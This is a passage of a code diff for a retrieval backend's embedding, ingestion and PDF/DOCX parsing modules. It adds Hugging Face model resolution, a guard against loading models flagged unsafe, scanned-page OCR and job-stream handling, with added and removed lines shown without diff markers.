self._dim = None
return self._model_path
from huggingface_hub import hf_hub_download, list_repo_files
repo = config.EMBED_GGUF_REPO
token = os.environ.get("HF_TOKEN") or None
files = [f for f in list_repo_files(repo, token = token) if f.lower().endswith(".gguf")]
files = [f for f in files if "mmproj" not in f.lower()]
# A custom model derives its "-GGUF" companion repo; when that guess does
# not exist, the model repo itself may host the .gguf files.
repo = desired
candidates = [repo]
model = config.effective_embedding_model()
if model != repo:
candidates.append(model)
files: list[str] = []
errors: list[str] = []
for candidate in candidates:
try:
files = [
f
for f in list_repo_files(candidate, token = token)
if f.lower().endswith(".gguf") and "mmproj" not in f.lower()
]
except Exception as e: # noqa: BLE001 - missing/gated repo -> next candidate
errors.append(f"{candidate!r}: {e}")
continue
if files:
repo = candidate
break
errors.append(f"{candidate!r}: no .gguf files")
if not files:
raise RuntimeError(f"no .gguf file found in embedder repo {repo!r}")
raise RuntimeError("no .gguf embedder found; tried " + "; ".join(errors))
variant = config.EMBED_GGUF_VARIANT.lower()
match = [f for f in files if variant in f.lower()] or files
filename = sorted(match, key = len)[0]
logger.info("resolving GGUF embedder %s/%s", repo, filename)
self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token)
self._model_repo = desired
self._dim = None
return self._model_path
# Min free VRAM (MiB) for the embedder; below this, auto stays on CPU.
@ -305,7 +363,8 @@ class LlamaServerBackend:
logger.error("llama-server embedder exited early (code %s)", code)
return False
try:
if httpx.get(url, timeout = 2.0).status_code == 200:
# trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe.
if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200:
return True
except (*_TRANSPORT_ERRORS, httpx.TimeoutException):
pass
@ -316,13 +375,19 @@ class LlamaServerBackend:
def _process_alive(self) -> bool:
return self._process is not None and self._process.poll() is None
def _current(self) -> bool:
"""Alive AND serving the effective repo (a Settings model change makes a
live server stale)."""
return self._process_alive() and self._model_repo == config.effective_gguf_repo()
def _ensure_ready(self) -> None:
"""Guarantee a live server, (re)spawning if needed. Double-checked so the
alive path takes no lock; self-heals after the chat reaper kills us."""
if self._process_alive():
"""Guarantee a live server on the effective model, (re)spawning if needed.
Double-checked so the current path takes no lock; self-heals after the
chat reaper kills us and re-resolves after a Settings model change."""
if self._current():
return
with self._lifecycle_lock:
if self._process_alive():
if self._current():
return
self._kill_process()
self._spawn()
@ -424,14 +489,18 @@ class LlamaServerBackend:
return arr
def dim(self, *, model_name = None) -> int:
"""Embedding width, probed once via a 1-text encode and cached."""
if self._dim is not None:
return self._dim
with self._dim_lock:
if self._dim is None:
vec = self.encode(["x"], normalize = False)
self._dim = int(vec.shape[1])
return self._dim
"""Embedding width, probed via a 1-text encode and cached per model
(_resolve_model_path clears it when the effective repo changes).
Unlocked: concurrent probes are benign, and locking would deadlock when
the probe's encode respawns onto a changed model (see __init__)."""
self._ensure_ready()
cached = self._dim
if cached is not None:
return cached
vec = self.encode(["x"], normalize = False)
width = int(vec.shape[1])
self._dim = width
return width
def warm(self, *, model_name = None) -> None:
"""Start the server and probe dim off the request path."""

137
studio/backend/core/rag/embeddings.py
View file

@ -46,17 +46,117 @@ def _device() -> str:
return _TORCH_DEVICE.get(get_device(), "cpu")
_torchao_stub_done = False
def _install_torchao_stub_once() -> None:
"""Neutralize torchao before importing sentence-transformers. On Windows ROCm,
torchao (pulled in by transformers.quantizers) imports an absent c10d backend
and aborts, dropping the embedder to llama-server. Workers stub it too; the
embedder runs in the main process. No-op elsewhere; runs once under ``_lock``."""
global _torchao_stub_done
if _torchao_stub_done:
return
_torchao_stub_done = True
from core._torchao_stub import install_torchao_windows_rocm_stub
install_torchao_windows_rocm_stub()
class UnsafeEmbeddingModelError(RuntimeError):
"""Raised when the embedding model repo is flagged unsafe. A distinct type so the
llama-server fallback paths re-raise it instead of masking a security block as a
routine ST failure."""
def _ambient_hf_token() -> str | None:
"""The HF token the loader itself would use (HF_TOKEN env or the cached login), so
the scan can reach a gated/private repo instead of failing open. None if unavailable."""
try:
from huggingface_hub import get_token
return get_token()
except Exception:
return None
def _st_module_subdirs(name: str, token: str | None) -> tuple[str, ...]:
"""The module directories a SentenceTransformer load reads weights from, taken from
the repo's ``modules.json`` (each module's non-empty ``path``, e.g. ``0_Transformer``).
ST deserializes ``pytorch_model.bin`` from these dirs, so they are load roots for the
security scan: a flagged pickle directly under one must block. Returns () on any
failure (no modules.json, offline, malformed) so the guard never bricks the embedder.
"""
try:
import json
from utils.paths import is_local_path
if is_local_path(name):
from pathlib import Path
from utils.paths import normalize_path
path = Path(normalize_path(name)).expanduser() / "modules.json"
if not path.is_file():
return ()
data = json.loads(path.read_text())
else:
from huggingface_hub import hf_hub_download
from huggingface_hub.utils import EntryNotFoundError
try:
local = hf_hub_download(name, "modules.json", token = token or None)
except EntryNotFoundError:
return ()
data = json.loads(open(local).read())
subdirs = []
for module in data or ():
sub = str((module or {}).get("path", "")).strip().strip("/")
if sub:
subdirs.append(sub)
return tuple(dict.fromkeys(subdirs))
except Exception:
return ()
def _guard_model_security(name: str) -> None:
"""Refuse to load a repo HF flagged as unsafe: a poisoned pickle deserializes inside
SentenceTransformer regardless of trust_remote_code. Defense in depth behind the
/settings gate (a name can also arrive via env/default); local paths and unreachable
scans fail open inside evaluate_file_security. Never bricks the embedder on a gate error.
"""
try:
from utils.security import evaluate_file_security, security_load_subdirs
token = _ambient_hf_token()
# Union the audio-model load roots with the ST module dirs so a flagged pickle
# directly under a Transformer module dir (0_Transformer/) blocks instead of
# passing as an unreferenced nested shard.
load_subdirs = tuple(
dict.fromkeys((*security_load_subdirs(name, token), *_st_module_subdirs(name, token)))
)
blocked = evaluate_file_security(name, hf_token = token, load_subdirs = load_subdirs).blocked
except Exception:
return
if blocked:
raise UnsafeEmbeddingModelError(
f"Embedding model {name!r} is flagged as unsafe by Hugging Face's security "
"scan; refusing to load. Set a different RAG embedding model."
)
def _get(model_name: str | None = None):
"""Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
for a ~1.5x speedup at negligible accuracy loss."""
global _model, _name
name = model_name or config.EMBEDDING_MODEL
name = model_name or config.effective_embedding_model()
with _lock:
if _model is None or _name != name:
_install_torchao_stub_once()
from sentence_transformers import SentenceTransformer
device = _device()
logger.info("loading embedding model %s on %s", name, device)
_guard_model_security(name)
_model = SentenceTransformer(
name, device = device, model_kwargs = {"torch_dtype": "float16"}
)
@ -141,6 +241,8 @@ class _SentenceTransformersBackend:
):
try:
return _st_encode(texts, model_name = model_name, normalize = normalize)
except UnsafeEmbeddingModelError:
raise # a security block must hard-fail, not fall back to llama-server
except Exception as st_err: # noqa: BLE001 - runtime ST/CUDA encode failure
# ST loaded but this encode blew up; swap the process to the llama-server
# embedder (so later encodes stay in one space) and retry.
@ -204,6 +306,8 @@ def _build_st_backend_or_fallback():
try:
backend.warm(model_name = None)
return backend
except UnsafeEmbeddingModelError:
raise # a security block must hard-fail, not fall back to llama-server
except Exception as st_err: # noqa: BLE001 - any ST/torch import or load failure
fallback = _try_make_llama_backend()
if fallback is None:
@ -272,6 +376,37 @@ def _reset_backend() -> None:
_backend_key = None
def active_backend_is_llama() -> bool:
"""True when this process actually embeds via the llama-server (GGUF) backend.
Reflects the ACTUAL built backend once one exists: an ``auto`` install that
resolves to sentence-transformers but then falls back to llama-server at
runtime (``_build_st_backend_or_fallback`` on a torch/CUDA load failure, or
``_switch_to_llama_fallback`` on an encode failure) loads only inert GGUF, so
callers gating on the ST pickle must see llama here. Before any backend is
built, defers to the resolver (``auto`` -> ``_resolve_auto()``, else the raw
key) exactly as a fresh process would. Never raises: a backend probe must not
block saving a model."""
try:
with _backend_lock:
backend = _backend
if backend is not None:
# A backend exists: report what it ACTUALLY is. A concrete
# sentence-transformers backend must return False even if the
# resolver would now pick llama, so its pickle stays gated. If the
# llama import fails we cannot be llama, so fall to the safe False.
try:
from .embed_llama_server import LlamaServerBackend
except Exception: # noqa: BLE001 - llama plumbing import must never block
return False
return isinstance(backend, LlamaServerBackend)
raw = (config.EMBED_BACKEND or "auto").strip().lower()
key = _resolve_auto() if raw in _AUTO_ALIASES else raw
return key in _LLAMA_ALIASES
except Exception: # noqa: BLE001 - a backend probe must never block saving
return False
def warm(model_name: str | None = None) -> None:
"""Eagerly load the embedder so the first real request isn't slow."""
_get_backend().warm(model_name = model_name)

270
studio/backend/core/rag/ingestion.py
View file

@ -26,6 +26,11 @@ _jobs_lock = threading.Lock()
_EMBED_BATCH = 64 # bounds peak memory
# Poll with a timeout so the generator wakes periodically to detect a gone
# client or a terminal job whose worker died without the None sentinel.
_SSE_POLL_SECONDS = 1.0
_TERMINAL_JOB_STATUSES = {"completed", "failed"}
def _sha256_file(path: str) -> str:
h = hashlib.sha256()
@ -94,25 +99,122 @@ def _embed_all(texts: list[str], model_name: str | None):
return vectors
def _ocr_scanned_pages(
pages: list,
stored_path: str,
conn,
job_id: str,
ocr: bool | None = None,
) -> tuple[list, set[int]]:
"""Replace text on near-empty (scanned/image-only) PDF pages with vision-model OCR
so image PDFs become searchable. ``ocr`` overrides ``config.OCR_SCANNED`` per upload
(``None`` = config default); no-op without scanned pages or a vision model. OCR'd
pages have no text layer, so no preview highlight regions, but stay searchable.
Returns ``(pages, ocred)``: new ``Page`` objects for OCR'd pages (originals
otherwise) and the set of page numbers actually transcribed."""
if not (config.OCR_SCANNED if ocr is None else ocr):
return pages, set()
scanned = [
p.page_number
for p in pages
if p.page_number is not None and len((p.text or "").strip()) < config.OCR_MIN_CHARS
]
if not scanned or captioner.vision_endpoint() is None:
return pages, set()
if len(scanned) > config.OCR_MAX_PAGES:
logger.warning(
"OCR: %d scanned pages exceed OCR_MAX_PAGES=%d; pages past the cap stay "
"untranscribed (raise RAG_OCR_MAX_PAGES to cover them)",
len(scanned),
config.OCR_MAX_PAGES,
)
scanned = scanned[: config.OCR_MAX_PAGES]
_progress(conn, job_id, "ocr", 0.25)
page_pngs = parsers.render_pdf_pages(stored_path, scanned, dpi = config.OCR_DPI)
texts = captioner.ocr_pages(page_pngs)
if not texts:
return pages, set()
from .parsers import Page
out: list = []
ocred: set[int] = set()
for page in pages:
text = texts.get(page.page_number)
if text:
original = (page.text or "").strip()
merged = text if not original or original in text else f"{original}\n\n{text}"
out.append(Page(text = merged, page_number = page.page_number, char_count = len(merged)))
ocred.add(page.page_number)
else:
out.append(page)
return out, ocred
def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None:
"""Drop the document this ingestion replaced (stale embedder / empty prior
ingest), called only after the replacement completed successfully."""
if replaces is None:
return
old_id, old_path = replaces
try:
store.delete_document(conn, old_id)
_remove_upload(old_path, keep_path = keep_path)
except Exception: # noqa: BLE001 - the new document is already live
logger.warning("failed to remove replaced document %s", old_id, exc_info = True)
def _run(
job_id: str, document_id: str, scope: str, stored_path: str, model_name: str | None
job_id: str,
document_id: str,
scope: str,
stored_path: str,
model_name: str | None,
ocr: bool | None = None,
caption: bool | None = None,
replaces: tuple[str, str | None] | None = None,
) -> None:
conn = rag_db.get_connection()
try:
_progress(conn, job_id, "parsing", 0.1)
pages = parsers.parse(stored_path)
if config.CAPTION_IMAGES and stored_path.lower().endswith(".pdf"):
# Caption figures, splice into page text (no-op without a vision model).
is_pdf = stored_path.lower().endswith(".pdf")
ocred: set[int] = set()
if is_pdf:
pages, ocred = _ocr_scanned_pages(pages, stored_path, conn, job_id, ocr = ocr)
caption_on = config.CAPTION_IMAGES if caption is None else caption
# Skip all figure work (PDF rasterization included) without a vision model.
if caption_on and is_pdf and captioner.vision_endpoint() is not None:
# Tile figure pages, transcribe+describe each tile, then merge/dedup/splice
# into the page text so small labels and every sub-figure are captured.
try:
figures = parsers.render_pdf_figures(
stored_path, max_figures = config.CAPTION_MAX_IMAGES
fig_pages = parsers.pages_with_figures(
stored_path,
max_pages = config.CAPTION_MAX_PAGES,
# Skip only pages OCR actually transcribed (it covers them whole); a
# scanned figure page past the OCR cap or with empty OCR still tiles.
exclude_pages = ocred,
)
tiles = (
parsers.render_pdf_figure_tiles(
stored_path,
fig_pages,
dpi = config.FIGURE_DPI,
rows = config.FIGURE_TILE_ROWS,
cols = config.FIGURE_TILE_COLS,
overlap = config.FIGURE_TILE_OVERLAP,
fullpage = config.FIGURE_FULLPAGE,
max_tiles = config.CAPTION_MAX_IMAGES,
)
if fig_pages
else []
)
except Exception:
logger.warning("figure rendering failed for job %s", job_id, exc_info = True)
figures = []
if figures:
_progress(conn, job_id, "captioning", 0.2)
captions = captioner.caption_images(figures)
logger.warning("figure tiling failed for job %s", job_id, exc_info = True)
tiles = []
if tiles:
_progress(conn, job_id, "captioning", 0.28)
captions = captioner.merge_page_captions(captioner.caption_images(tiles))
pages = captioner.splice_captions(pages, captions)
_progress(conn, job_id, "chunking", 0.3)
@ -125,6 +227,7 @@ def _run(
)
if not chunks:
store.set_document_status(conn, document_id, "completed", num_chunks = 0)
_replace_old_document(conn, replaces, stored_path)
_set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
_emit(job_id, {"type": "complete", "num_chunks": 0})
return
@ -145,6 +248,7 @@ def _run(
_progress(conn, job_id, "storing", 0.9)
store.add_chunks(conn, scope, document_id, chunks, vectors, regions)
store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks))
_replace_old_document(conn, replaces, stored_path)
_set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
_emit(job_id, {"type": "complete", "num_chunks": len(chunks)})
@ -170,6 +274,8 @@ def start_ingestion(
*,
project_id: str | None = None,
model_name: str | None = None,
ocr: bool | None = None,
caption: bool | None = None,
) -> tuple[str, str]:
"""Create the document + job rows and spawn the worker, returning
``(document_id, job_id)``. A duplicate content hash in this scope returns the
@ -178,18 +284,49 @@ def start_ingestion(
if ext not in config.UPLOAD_EXTS:
raise ValueError(f"unsupported file type: {ext}")
# Reclaim queues for finished jobs so the registry stays bounded.
_reap_finished_jobs()
sha = _sha256_file(stored_path)
conn = rag_db.get_connection()
try:
effective_model = model_name or config.effective_embedding_model()
# (old_document_id, old_stored_path) replaced by this upload; deleted by
# the worker only after the replacement completes, so a failed re-index
# never destroys the still-searchable original.
replaces: tuple[str, str | None] | None = None
existing = store.document_by_hash(conn, scope, sha)
if existing is not None:
job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
_remove_upload(stored_path)
with _jobs_lock:
_jobs[job_id] = queue.Queue()
_emit(job_id, {"type": "complete", "num_chunks": 0, "deduped": True})
_emit(job_id, None)
return existing, job_id
doc = store.get_document(conn, existing)
empty_completed = (
doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks")
)
# Vectors from a different embedder are stale; re-uploading must
# re-index, not dedupe. NULL (legacy rows) is assumed current. Only
# completed rows are replaceable: a pending/running duplicate has a
# live worker whose writes must not land on a deleted document.
stale_model = (
doc is not None
and doc.get("status") == "completed"
and doc.get("embedding_model") is not None
and doc.get("embedding_model") != effective_model
)
if empty_completed or stale_model:
# A prior ingest of identical bytes yielded zero chunks (e.g. a scanned
# PDF uploaded before a vision model loaded), or was embedded with a
# different model. Re-ingest, don't dedupe.
replaces = (existing, doc.get("stored_path"))
else:
job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
_remove_upload(stored_path)
with _jobs_lock:
_jobs[job_id] = queue.Queue()
_emit(
job_id,
{"type": "complete", "num_chunks": doc.get("num_chunks") or 0, "deduped": True},
)
_emit(job_id, None)
return existing, job_id
for failed in store.failed_documents_by_hash(conn, scope, sha):
store.delete_document(conn, failed["id"])
_remove_upload(failed.get("stored_path"), keep_path = stored_path)
@ -204,6 +341,7 @@ def start_ingestion(
project_id = project_id,
status = "pending",
stored_path = stored_path,
embedding_model = effective_model,
)
job_id = _new_job(conn, document_id, scope)
finally:
@ -213,7 +351,10 @@ def start_ingestion(
_jobs[job_id] = queue.Queue()
threading.Thread(
target = _run,
args = (job_id, document_id, scope, stored_path, model_name),
# effective_model (not the raw model_name) pins the embedder for the
# whole job: a Settings change mid-ingestion must not switch tokenizer
# or embedder between batches of one document.
args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces),
daemon = True,
).start()
return document_id, job_id
@ -248,26 +389,99 @@ def _new_job(
return job_id
def _reap_finished_jobs() -> None:
"""Drop per-job queues whose DB row already reached a terminal status.
Otherwise removed only by ``job_events`` after the ``None`` sentinel, so a
caller that polls ``/jobs/{id}`` instead of streaming would grow ``_jobs``
forever. Safe while streaming: ``job_events`` holds its queue reference.
"""
with _jobs_lock:
job_ids = list(_jobs.keys())
for jid in job_ids:
row = get_job_status(jid)
if row is not None and row.get("status") in _TERMINAL_JOB_STATUSES:
with _jobs_lock:
_jobs.pop(jid, None)
def job_events(job_id: str):
"""Yield job events for SSE; ends when the worker signals completion."""
"""Yield job events for SSE; ends when the worker signals completion.
Timed ``get`` so the generator can't block forever: it wakes to heartbeat,
to notice a disconnected client, and to stop on a terminal DB status (a hard
worker death that skipped the ``None`` sentinel). Drops the queue only on a
terminal exit, never on an early client disconnect.
It deliberately does *not* end on idle alone: a long silent stage (e.g.
embedding a large doc) is not a failure, and ending there would send
``[DONE]`` with the row still pending, which the client treats as completion.
The stream ends only on a terminal status, the ``None`` sentinel, or disconnect.
"""
with _jobs_lock:
q = _jobs.get(job_id)
if q is None:
return
while True:
event = q.get()
if event is None:
break
yield event
with _jobs_lock:
_jobs.pop(job_id, None)
terminal = False
try:
while True:
try:
event = q.get(timeout = _SSE_POLL_SECONDS)
except queue.Empty:
try:
row = get_job_status(job_id)
except Exception: # noqa: BLE001
# A transient status read (e.g. the DB momentarily locked) must
# not abort the stream: routes/rag.py would turn the raised
# exception into a terminal {type: error} frame and the UI would
# drop a document whose worker is still running. Heartbeat and
# retry on the next poll instead.
logger.warning(
"job_events status read failed for %s; continuing", job_id, exc_info = True
)
yield {"type": "heartbeat"}
continue
if row is None or row.get("status") in _TERMINAL_JOB_STATUSES:
# Worker finished (or row gone); stop and let the client reconcile via getJob.
terminal = True
break
yield {"type": "heartbeat"}
continue
if event is None:
terminal = True
break
yield event
finally:
# Drop the queue once nothing more will be emitted into it: either a
# terminal exit, or a disconnect after the job already finished (the UI
# stops on the terminal event, before [DONE], so terminal is still False
# here -- _run writes the terminal DB status before emitting it). Keep it
# only while the worker is still running, so an early disconnect can
# reconnect and resume its events.
if not terminal:
try:
row = get_job_status(job_id)
terminal = row is None or row.get("status") in _TERMINAL_JOB_STATUSES
except Exception: # noqa: BLE001
# Can't confirm terminality (transient DB error) -- keep the queue so
# a reconnect can resume rather than orphaning a live worker's events.
terminal = False
if terminal:
with _jobs_lock:
_jobs.pop(job_id, None)
def get_job_status(job_id: str) -> dict | None:
"""Read the persisted ingestion job row (status / stage / progress / error)."""
"""Read the persisted ingestion job row (status / stage / progress / error), plus
the document's ``num_chunks`` so a client polling to completion learns the chunk
count (the SSE ``complete`` frame carries it, but the poll/reconcile path does not)."""
conn = rag_db.get_connection()
try:
row = conn.execute("SELECT * FROM ingestion_jobs WHERE id=?", (job_id,)).fetchone()
row = conn.execute(
"SELECT j.*, d.num_chunks AS num_chunks FROM ingestion_jobs j "
"LEFT JOIN documents d ON d.id = j.document_id WHERE j.id=?",
(job_id,),
).fetchone()
return dict(row) if row else None
finally:
conn.close()

6
studio/backend/core/rag/locators.py
View file

@ -39,9 +39,11 @@ def _norm_token(token: str) -> str:
def _anchor_tokens(page_text: str, match: LocatorMatch) -> list[str]:
"""Normalized anchor tokens from the chunk's leading span. Drops first and last
token (boundaries often slice mid-word) when long enough."""
token (boundaries often slice mid-word) when long enough. Pipes are split out so
Markdown table cells (``|Q1|$1.2M|``) become individual words that match the PDF
word stream."""
segment = page_text[match.start : match.end]
raw = segment.split()
raw = segment.replace("|", " ").split()
if len(raw) >= MIN_ANCHOR_WORDS + 2:
raw = raw[1:-1]
tokens = [t for t in (_norm_token(w) for w in raw) if t]

309
studio/backend/core/rag/parsers.py
View file

@ -12,9 +12,12 @@ from __future__ import annotations
import logging
import os
import re
from dataclasses import dataclass
from html.parser import HTMLParser
from . import config
logger = logging.getLogger(__name__)
@ -67,6 +70,61 @@ def _html(raw: str) -> list[Page]:
return [_page("\n".join(parser.out), 1)]
# pymupdf4llm rebuilds text from positioned glyphs, which mangles complex-shaping
# scripts (RTL Arabic/Hebrew emerge as shaped Presentation Forms, Indic matras drop to
# U+FFFD) and can silently drop most of a heavy-RTL page. When Markdown trips these
# signals we fall back to PyMuPDF's logical-order get_text(). Thresholds mirror the chat
# extractor guard (unslothai/unsloth#5351 review).
_SHAPED_PRESENTATION_FORMS = re.compile("[\ufb1d-\ufdff\ufe70-\ufefc]")
_PDF_FALLBACK_MIN_BAD_GLYPHS = 5
_PDF_FALLBACK_BAD_GLYPH_RATIO = 0.0005
_PDF_INCOMPLETE_RATIO = 0.75
_PDF_INCOMPLETE_MIN_LETTERS = 200
def _markdown_corrupted(text: str) -> bool:
"""True when pymupdf4llm's glyph reconstruction mangled the text: shaped RTL
Presentation Forms or U+FFFD replacements above a small floor/ratio (so a lone
legitimate shaped glyph does not force the fallback)."""
if not text:
return False
threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text))
shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text))
return shaped > threshold or text.count("\ufffd") > threshold
def _markdown_incomplete(markdown: str, plain: str) -> bool:
"""True when ``markdown`` holds far fewer letters than the raw ``get_text`` layer -- a
coarse guard for heavy-RTL pages pymupdf4llm silently drops without shaped glyphs."""
plain_letters = sum(1 for c in plain if c.isalnum())
if plain_letters < _PDF_INCOMPLETE_MIN_LETTERS:
return False
markdown_letters = sum(1 for c in markdown if c.isalnum())
return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters
def _pdf_markdown(doc) -> list[str] | None:
"""Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index
i maps to page i+1. Returns None when the lib is missing, extraction fails, or the
page count does not line up, so the caller falls back to plain PyMuPDF text."""
try:
import pymupdf4llm
except Exception:
return None
try:
chunks = pymupdf4llm.to_markdown(
doc,
page_chunks = True,
show_progress = False,
)
except Exception: # noqa: BLE001 - never let Markdown extraction break ingestion
logger.warning("pymupdf4llm extraction failed; using plain text", exc_info = True)
return None
if not isinstance(chunks, list) or len(chunks) != doc.page_count:
return None
return [str(c.get("text") or "") for c in chunks]
def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
import fitz # PyMuPDF
@ -74,8 +132,21 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
images: list[ParsedImage] = []
doc = fitz.open(path)
try:
md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None
for i, page in enumerate(doc):
text = page.get_text("text") or ""
plain = page.get_text("text") or ""
candidate = md[i] if md else ""
# Prefer layout-aware Markdown (keeps tables/headings legible for retrieval),
# but drop to PyMuPDF's logical-order text when Markdown is off/empty or when
# pymupdf4llm mangled it (RTL/Indic) or dropped most of the page.
if (
candidate
and not _markdown_corrupted(candidate)
and not _markdown_incomplete(candidate, plain)
):
text = candidate
else:
text = plain
pages.append(_page(text, i + 1))
if want_images:
for img in page.get_images(full = True):
@ -118,74 +189,224 @@ def _merge_rects(boxes: list) -> list:
return merged
def render_pdf_figures(
path: str,
def _figure_boxes(
page,
*,
dpi: int = 130,
min_area_frac: float = 0.04,
min_side: float = 40.0,
max_figures: int = 8,
) -> list[ParsedImage]:
"""Detect figure regions and render each to a PNG for captioning.
) -> list:
"""Qualifying figure-region rectangles on a page: cluster vector drawings + raster
placements, merge overlaps, keep the page-spanning ones (area/side filtered)."""
boxes: list = []
try:
boxes.extend(info["bbox"] for info in page.get_image_info())
except Exception:
pass
try:
boxes.extend(page.cluster_drawings())
except Exception:
pass
if not boxes:
return []
page_area = page.rect.width * page.rect.height
keep: list = []
for box in _merge_rects(boxes):
if (
box.get_area() >= min_area_frac * page_area
and box.width >= min_side
and box.height >= min_side
):
keep.append(box)
return keep
Academic figures are vector, so raster extraction yields fragments; instead
cluster vector drawings + raster placements into boxes, keep the page-spanning
ones, and render them. Any failure yields [], never an exception.
"""
def pages_with_figures(
path: str,
*,
max_pages: int = 4,
min_area_frac: float = 0.04,
min_side: float = 40.0,
exclude_pages: set[int] | None = None,
) -> list[int]:
"""1-based page numbers with a qualifying figure region, capped at ``max_pages``;
drives figure tiling. ``exclude_pages`` (1-based) are skipped: those are the pages
OCR already transcribed whole, so tiling them would duplicate the vision work. Any
failure yields []."""
exclude = exclude_pages or set()
try:
import pymupdf
except Exception:
return []
out: list[ParsedImage] = []
try:
doc = pymupdf.open(path)
except Exception:
return []
pages: list[int] = []
try:
for i, page in enumerate(doc):
boxes: list = []
try:
boxes.extend(info["bbox"] for info in page.get_image_info())
except Exception:
pass
try:
boxes.extend(page.cluster_drawings())
except Exception:
pass
if not boxes:
if (i + 1) in exclude:
continue
page_area = page.rect.width * page.rect.height
for box in _merge_rects(boxes):
if (
box.get_area() >= min_area_frac * page_area
and box.width >= min_side
and box.height >= min_side
):
try:
pix = page.get_pixmap(dpi = dpi, clip = box)
out.append(
ParsedImage(
image_bytes = pix.tobytes("png"),
page_number = i + 1,
xref = 0,
)
if _figure_boxes(page, min_area_frac = min_area_frac, min_side = min_side):
pages.append(i + 1)
if len(pages) >= max_pages:
break
return pages
finally:
doc.close()
def render_pdf_figure_tiles(
path: str,
page_numbers,
*,
dpi: int = 200,
rows: int = 2,
cols: int = 2,
overlap: float = 0.12,
fullpage: bool = True,
max_tiles: int = 24,
) -> list[ParsedImage]:
"""Render figure-bearing pages as overlapping high-DPI tiles (plus an optional full
page), each a ``ParsedImage`` keyed by page number. Tiling keeps small labels legible
and covers every sub-figure without exact region detection. Any failure yields []."""
wanted = [int(n) for n in page_numbers]
if not wanted:
return []
rows, cols = max(1, int(rows)), max(1, int(cols)) # never divide by zero
try:
import pymupdf
except Exception:
return []
try:
doc = pymupdf.open(path)
except Exception:
return []
out: list[ParsedImage] = []
try:
for num in wanted:
if num < 1 or num > doc.page_count:
continue
page = doc[num - 1]
rect = page.rect
clips: list = [rect] if fullpage else []
cw, ch = rect.width / cols, rect.height / rows
ox, oy = cw * overlap, ch * overlap
for r in range(rows):
for c in range(cols):
clips.append(
pymupdf.Rect(
rect.x0 + c * cw - ox,
rect.y0 + r * ch - oy,
rect.x0 + (c + 1) * cw + ox,
rect.y0 + (r + 1) * ch + oy,
)
except Exception:
continue
if len(out) >= max_figures:
return out
& rect
)
for clip in clips:
try:
pix = page.get_pixmap(dpi = dpi, clip = clip)
out.append(ParsedImage(image_bytes = pix.tobytes("png"), page_number = num, xref = 0))
except Exception:
continue
if len(out) >= max_tiles:
return out
return out
finally:
doc.close()
def render_pdf_pages(
path: str,
page_numbers,
*,
dpi: int = 150,
) -> dict[int, bytes]:
"""Render whole PDF pages (given as 1-based numbers) to PNG bytes, keyed by
page number. Backs scanned-page OCR. Any failure yields ``{}`` (or skips that
page), never an exception.
"""
wanted = {int(n) for n in page_numbers}
if not wanted:
return {}
try:
import pymupdf
except Exception:
return {}
try:
doc = pymupdf.open(path)
except Exception:
return {}
out: dict[int, bytes] = {}
try:
for i, page in enumerate(doc):
num = i + 1
if num not in wanted:
continue
try:
pix = page.get_pixmap(dpi = dpi)
out[num] = pix.tobytes("png")
except Exception:
continue
return out
finally:
doc.close()
def _docx_table_rows(table) -> list[str]:
"""Each row as pipe-joined cell text (the locator splits anchors on pipes).
Columns stay aligned to the layout grid (merged cells fill their spanned slots,
skipped leading/trailing grid columns become empty fields). Cells are walked in
document order so a nested table, and any text after it, flattens in place."""
from docx.table import Table
from docx.text.paragraph import Paragraph
rows: list[str] = []
seen: set = set() # <w:tc> already emitted; dedups merges spanning columns or rows
for row in table.rows:
cells: list[str] = [""] * getattr(row, "grid_cols_before", 0)
trailing: list[str] = [] # nested rows + any post-nested text, kept in order
for cell in row.cells:
# A merged cell shares one <w:tc> across the columns and rows it spans:
# emit its text once, then placeholders, so columns and rows stay aligned.
if cell._tc in seen:
cells.append("")
continue
seen.add(cell._tc)
# Paragraph text before the first nested table is the aligned field; the
# nested table and anything after it flatten below the row, in order.
field: list[str] = []
after_table = False
for item in cell.iter_inner_content():
if isinstance(item, Table):
after_table = True
trailing.extend(_docx_table_rows(item))
elif isinstance(item, Paragraph):
text = " ".join(item.text.split()) # collapse in-cell newlines
if text:
(trailing if after_table else field).append(text)
cells.append(" ".join(field)) # empty cells kept so columns line up
cells.extend([""] * getattr(row, "grid_cols_after", 0))
if any(c.strip() for c in cells):
rows.append(" | ".join(cells))
rows.extend(trailing)
return rows
def _docx(path: str) -> list[Page]:
import docx
from docx.table import Table
from docx.text.paragraph import Paragraph
document = docx.Document(path)
text = "\n".join(p.text for p in document.paragraphs)
return [_page(text, None)]
lines: list[str] = []
# Walk body content in document order: paragraphs alone drop tables entirely.
for block in document.iter_inner_content():
if isinstance(block, Paragraph):
if block.text.strip():
lines.append(block.text)
elif isinstance(block, Table):
lines.extend(_docx_table_rows(block))
return [_page("\n".join(lines), None)]
def parse(path: str, *, want_images: bool = False):

8
studio/backend/core/rag/retrieval.py
View file

@ -39,8 +39,12 @@ def retrieve_dense(
model_name: str | None = None,
) -> list[Hit]:
k = k or config.TOP_K_DENSE
vec = embeddings.encode([query], model_name = model_name, normalize = True)[0]
return [Hit(cid, s, dense_score = s) for cid, s in store.search_dense(conn, scope, vec, k)]
effective = model_name or config.effective_embedding_model()
vec = embeddings.encode([query], model_name = effective, normalize = True)[0]
return [
Hit(cid, s, dense_score = s)
for cid, s in store.search_dense(conn, scope, vec, k, embedding_model = effective)
]
def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]:

77
studio/backend/core/rag/store.py
View file

